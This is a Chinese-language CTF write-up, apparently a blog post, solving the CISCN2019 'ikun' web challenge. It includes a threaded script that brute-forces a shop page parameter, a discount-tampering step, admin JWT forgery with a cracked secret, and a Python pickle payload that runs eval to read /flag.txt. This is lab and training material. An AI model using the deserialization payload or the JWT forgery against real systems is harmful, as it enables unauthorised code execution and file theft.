[CISCN2019 华北赛区 Day1 Web2]ikun

image-20240511194627484

提示要买到lv6,找到http://5165d3c2-a7eb-4727-a30a-0b86ed1d36c5.node4.buuoj.cn:81/shop参数?page,可以用爆破,但这里用了网上找的多线程脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import time

import requests
import threading

def go(st,ed):
for i in range(st,ed):
url = 'http://5165d3c2-a7eb-4727-a30a-0b86ed1d36c5.node4.buuoj.cn:81/shop?page='
url += str(i)
r = requests.get(url,timeout=2)
if 'lv6.png' in r.text:
print(i)
break
time.sleep(0.1)


if __name__ == '__main__':
threads = []
for i in range(10):
t = threading.Thread(target=go,args=(i*20,(i+1)*20))
threads.append(t)
for item in threads:
item.start()

找到?page=181

购买的时候将discount调越小越好

image-20240511194812415

但只允许admin访问,注意Cookie里有jwt,可以想到jwt伪造

jwt伪造

通过jwt伪造admin身份,密钥通过c-jwt-cracker工具爆破:1Kun

访问得到image-20231129170148594

得到源码

pickle反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib

class A(object):
def __reduce__(self):

return (eval,("open('/flag.txt','r').read()",))
a1 = A()
test = pickle.dumps(a1)
test = urllib.quote(test)
print(test)

将结果代入become参数得到flag

小结

最近忙着考试复习(不然要挂科了www),先拿一篇博客水一下。